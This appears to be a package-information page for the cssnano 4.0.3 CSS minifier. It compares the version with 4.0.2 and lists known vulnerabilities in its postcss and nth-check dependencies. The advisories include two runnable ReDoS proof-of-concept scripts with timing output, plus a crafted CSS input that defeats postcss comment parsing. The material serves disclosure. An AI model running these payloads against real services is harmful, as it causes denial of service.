Cssnano version 4.0.3 is a minor patch release of the popular CSS minification tool, built upon the PostCSS ecosystem. Comparing it to the previous stable version, 4.0.2, the core functionalities remain consistent, both leveraging the same underlying dependencies like PostCSS for parsing and manipulation, cosmiconfig for configuration file handling, and is-resolvable for module resolution. The cssnano-preset-default dependency remains at version 4.0.0 ensuring the default minification settings are consistent. Similarly, both versions share the same suite of developer dependencies for building and testing, including webpack, babel-cli, cross-env, babel-core, babel-loader, array-to-sentence, postcss-font-magician, cssnano-preset-advanced, and webpack-bundle-size-analyzer indicating no significant shift in the development workflow or build process.
While the code base remains the same, the key difference lies in bug fixes and minor optimization. The unpacked size of version 4.0.3 is slightly larger (25919 bytes) than 4.0.2 (25651), This suggests potential tweaks or minor additions, potentially related to handling edge cases or improving overall performance. The release date also highlights this, with version 4.0.3 released only a few days after. For developers already using cssnano, upgrading to 4.0.3 offers a seamless transition with the assurance of enhanced stability and refined minification results. This increment ensures a more robust and reliable CSS optimization process without requiring any code changes on their end.
All the vulnerabilities related to the version 4.0.3 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Inefficient Regular Expression Complexity in nth-check
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms